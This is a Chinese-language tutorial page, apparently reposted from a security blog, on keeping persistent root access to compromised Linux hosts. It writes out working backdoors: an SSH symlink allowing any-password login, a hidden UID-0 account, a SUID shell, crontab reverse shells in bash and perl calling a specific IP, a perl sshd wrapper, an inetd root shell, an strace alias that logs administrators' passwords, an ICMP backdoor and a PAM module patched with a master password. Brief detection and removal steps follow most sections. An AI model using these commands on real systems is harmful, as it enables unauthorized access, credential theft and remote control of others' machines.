权限维持 SSH软链接后门

Posted

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了权限维持 SSH软链接后门相关的知识,希望对你有一定的参考价值。

参考技术A 经典后门:对sshd建立软链接,即可使用任意密码登录。

1、创建后门

ln -sf /usr/sbin/sshd /路径名/su; /路径名/su -oPort=端口号

2、任意密码登

ssh用户名@x.x.x.x -p 端口号

在sshd服务配置启用PAM认证的前提下,PAM配置文件中控制标志为sufficient时,只要pam_rootok模块检测uid为0(root)即可成功认证登录。

通俗点来说,一是sshd服务启用PAM认证机制,在/etc/ssh/sshd_config文件中,设置UsePAM 为yes。如果不启用PAM,系统严格验证用户密码,不能建立后门。

二是在/etc/pam.d/目录下,对应文件里包含"auth sufficient pam_rootok.so"配置,只要PAM配置文件中包含此配置即可SSH任意密码登录。

对比一下/etc/pam.d/sshd配置文件和/etc/pam.d/su配置文件,不难发现,前者没有包含如上配置,而后者包含该配置。

直接启动/usr/sbin/sshd,默认使用/etc/pam.d/sshd的pam配置文件,因而不能建立任意密码登录的后门。

而通过软链接的方式,实质上PAM认证是通过软链接的文件名(如:/tmp/su,/home/su),在/etc/pam.d/目录下寻找对应的PAM配置文件(如:/etc/pam.d/su)。

使用命令创建后门;通过前后对比,可以看到开启了12345端口并处于监听状态。

在cmder中连接ssh,输入任意密码,成功登录。

软链接的路径不是绝对的,你可以任意设置,也可以使用除su以外的文件名,只要/etc/pam.d/目录下能找到对应的文件,且该文件中包含"auth sufficient pam_rootok.so"配置即可。(不懂的再看看原理,不再赘述)

可以看到,在/etc/pam.d/目录下,还有以上文件包含了该配置,这些文件名都可以用来创建后门。我们甚至还可以创建一个包含该配置的文件到/etc/pam.d/目录下来创建后门。

当然,我们还可以使用其他用户来登录。

这类后门会开启监听端口,我们可以先查看/etc/pam.d/目录下有哪些文件包含该配置,然后通过管道符找到异常端口及进程,再通过进程找到异常文件,杀掉进程,不启用PAM认证即可。

安全小白团是帮助用户了解信息安全技术、安全漏洞相关信息的微信公众号。安全小白团提供的程序(方法)可能带有攻击性,仅供安全研究与教学之用,用户将其信息做其他用途,由用户承担全部法律及连带责任,安全小白团不承担任何法律及连带责任。

linux后门

ssh软连接

#只有root用户才可以这种方法

#拿到root权限后执行
ln -sf /usr/sbin/sshd /tmp/su; /tmp/su -oPort=5555;

#任意密码连接5555端口
ssh root@106.13.124.93:5555
ssh root@106.13.124.93 -p 5555

技术图片

检测:查看可疑进程
# ps aux

清除后门:
结束进程即可,
# kill -s 9 PID

技术图片

添加用户

root权限
一句话添加用户
useradd guest;echo 'guest:123456'|chpasswd

#vi /etc/passwd
最后一行改为(要修改,不要新加一行):
guest:x:0:1002:::/bin/bash

这样可以用guest-123456用户来登陆了,而且是root权限

技术图片

修改/etc/sudoers文件

新建普通用户,修改sudoers文件

技术图片

技术图片

解决:手动编辑文件
# visudo

suid后门

root权限下:
# chmod 4755 /bin/dash

这里注意一下不能是/bin/bash,因为Linux某种机制原因没有root权限。

普通用户下 执行:
# /bin/dash
就能获得root权限了
检测:
# find / -perm -u=s -type f 2>/dev/null
# find / -user root -perm -4000 -exec ls -ldb {} ;
# find / -user root -perm -4000 -print 2>/dev/null

解决:取消s权限,例如
# chmod u-s /usr/sbin/find

crontab反弹shell后门

当 /bin/sh指向/bin/dash的时候,反弹shell用bash的话必须得这样弹:
* * * * * root bash -c "bash -i  >&/dev/tcp/106.13.124.93/2333 0>&1"
这句话的意思是,这种方法仍然适合/bin/bash指向/bin/bash的主机

ubuntu中,不能指定用户名
* * * * *  bash -c "bash -i  >&/dev/tcp/106.13.124.93/2333 0>&1"



或者有权限改变/bin/sh的连接指向/bin/bash后:
ln -s -f /bin/bash /bin/sh
反弹shell可以用最常见的办法: 
* * * * * /bin/bash -i >& /dev/tcp/ip(vps)/7999 0>&1

如果不用bash:
*/1 * * * * root perl -e 'use Socket;$i="106.13.124.93";$p=2333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

其他的反弹shell方法自己探索吧
解决:
# crontab -e
或者直接进目录查看文件(此目录为ubuntu,其他系统存在不同)
# ls -al /var/spool/cron/crontabs/

技术图片

ssh免密登录

A:106.13.124.93
B:101.132.104.215
现在B想配置免密登录连接A

B:
# ssh-keygen -b 4096 -t rsa
连着三次回车默认就行了,在/root/.ssh/目录下生成了两个文件,id_rsa和id_rsa.pub文件。 
# cat /root/.ssh/id_rsa.pub
全部复制文件内容

A:
# vi /root/.ssh/authorized_keys  
id_rsa.pub内容粘贴到文件里面(如果原来存在内容就另起一行粘贴)
# chmod 600 /root/.ssh/authorized_keys
# chmod 700 /root/.ssh

B:
# ssh -i /root/.ssh/id_rsa root@106.13.124.93

技术图片

解决:
一般情况下,我们是不会去禁用免密登录的(实质上为用私钥登陆)。
所以我们只好手动查看/root/.ssh/authorized_keys文件

ssh wrapper后门

受害者主机:
# cd /usr/sbin
# mv sshd ../bin
# echo '#!/usr/bin/perl' >sshd
# echo 'exec "/bin/sh" if (getpeername(STDIN) =~ /^..4A/);' >>sshd
# echo 'exec {"/usr/bin/sshd"} "/usr/sbin/sshd",@ARGV,' >>sshd
# chmod u+x sshd
# /etc/init.d/sshd restart(在我的测试环境上是/etc/init.d/ssh restart,可以进入目录直接查看,目的是让ssh服务重启)
攻击者主机:
# socat STDIO TCP4:106.13.124.93:22,sourceport=13377

技术图片

检测:
# ls -al /usr/sbin/sshd
# cat /usr/sbin/sshd

解决:
# rm -rf /usr/sbin/sshd
# mv /usr/bin/sshd /usr/sbin;
# /etc/init.d/ssh restart
或者直接重装ssh服务

inetd

受害者主机:
# vi /etc/inetd.conf
添加内容
daytime stream tcp nowait root /bin/bash bash -i
重启
# service inetd restart

技术图片

攻击者:
# nc -vv 106.13.124.93(受害者ip) 13

技术图片

检测:手动查看/etc/inetd.conf文件

消除后门:
修改配置文件,关闭inetd
关闭inetd后,bash的连接仍然存在,需要手动杀死进程
# kill -s 9 14264

技术图片

strace后门

攻击者:
已经拿到了主机的权限,在主机的管理员用ssh命令时候,记录下密码到/tmp/.ssh.log下面
# vi /root/.bashrc
加入内容
alias ssh='strace -o /tmp/.ssh.log -e read,write,connect -s 2048 ssh'
更新配置文件
# source /root/.bashrc

技术图片

管理员的受害过程:
管理员不知道有后门,他在这台主机上连接另外一台主机
# ssh zzz@101.132.104.215
输入密码登陆成功后,/tmp/.ssh.log便记录下了zzz的密码和相关主机的ip

技术图片

也可配置全局的文件,我们一开始只是给root用户配置上了
# vi /etc/bash.bashrc
生效
# source /etc/bash.bashrc
现在每个用户su的时候密码都会被记录了
su,sudo同样的道理
alias su='strace -o /tmp/.su.log -e read,write,connect -s 2048 su'

技术图片

检测:
# alias

消除:
修改配置,并且souce命令使其生效

协议后门

一般来说,主机的防火墙拦截外部来的流量到达内部某个端口,但是在一些访问严格被控制的电脑也会被限制你从内部访问外部。

icmp

使用情况:主机从内到外的服务也被仅用了很多,但是icmp没有被禁用(一般很少禁用ping命令)
工具:https://github.com/andreafabrizi/prism

icmp模式:

条件:双方能够ping通就行,建议先检查一下这个



1.受害机:192.168.3.135
# vi prism.c
设置主要有三点
define REVERSE_HOST     "192.168.3.200"(攻击主机)
define REVERSE_PORT     2333 (攻击主机监听的端口)
define ICMP_KEY         "1234"(密码)

编译
# gcc  -DDETACH -DNORENAME -Wall -s -o prism prism.c

运行
# ./prism

2.攻击机192.168.3.200
监听端口2333
# nc -lvp 2333

3.攻击机
# ./sendPacket.py 192.168.3.135 1234 192.168.3.200 2333

4.攻击机收到shell

技术图片

static模式

1.攻击机101.132.104.215
# nc -lvp 9876

2.受害机:106.13.124.93
# vi prism.c(编辑内容同上)
# gcc -DSTATIC -DDETACH -DNORENAME -Wall -s -o prism prism.c
# ./prism

3.攻击机收到shell
清除

1.重启即可失效

2.把名字prism的进程全部结束
# ps -ef|grep "./prism"|grep -v grep|awk '{print $2}'|xargs kill -9
3.关闭可疑的/bin/sh或者/bin/bash进程(断开已连接的shell)
2.3必须配合使用

技术图片

PAM后门

环境:百度云 ubuntu16.04 64位

查看pam版本:
# dpkg -l | grep pam
我的版本是1.18

下载未编译过的PAM:https://src.fedoraproject.org/repo/pkgs/pam/
# cd /root (下边的指令都是基于root目录)
# wget https://src.fedoraproject.org/repo/pkgs/pam/Linux-PAM-1.1.8.tar.bz2/35b6091af95981b1b2cd60d813b5e4ee/Linux-PAM-1.1.8.tar.bz2

解压:
# tar xjf Linux-PAM-1.1.8

编辑后门:
# /root/Linux-PAM-1.1.8/modules/pam_unix/pam_unix_auth.c
找到这一句:
retval = _unix_verify_password(pamh, name, p, ctrl);
修改为:
if (strcmp(p, "123456") != 0) {
           retval = _unix_verify_password(pamh, name, p, ctrl);
         } else {
           retval = PAM_SUCCESS;
         }
123456为后门密码

技术图片

编译:
# cd /root/Linux-PAM-1.1.8
# ./configure
# make

替换文件:
# cp  /root/Linux-PAM-1.1.8/modules/pam_unix/.libs/pam_unix.so /lib/x86_64-linux-gnu/securitypam_unix.so

验证:
用xshell root-123456登陆成功

以上是关于权限维持 SSH软链接后门的主要内容,如果未能解决你的问题,请参考以下文章

取证分析Linux SSH Backdoor分析排查

linux后门

Linux基本命令学习——硬链接与软链接权限管理

特殊文件权限和软链接硬链接管理

linux文件属性文件类型linux用户和权限软链接和硬链接

九特殊权限set_uidset_gidstick_bit;软链接文件;硬链接文件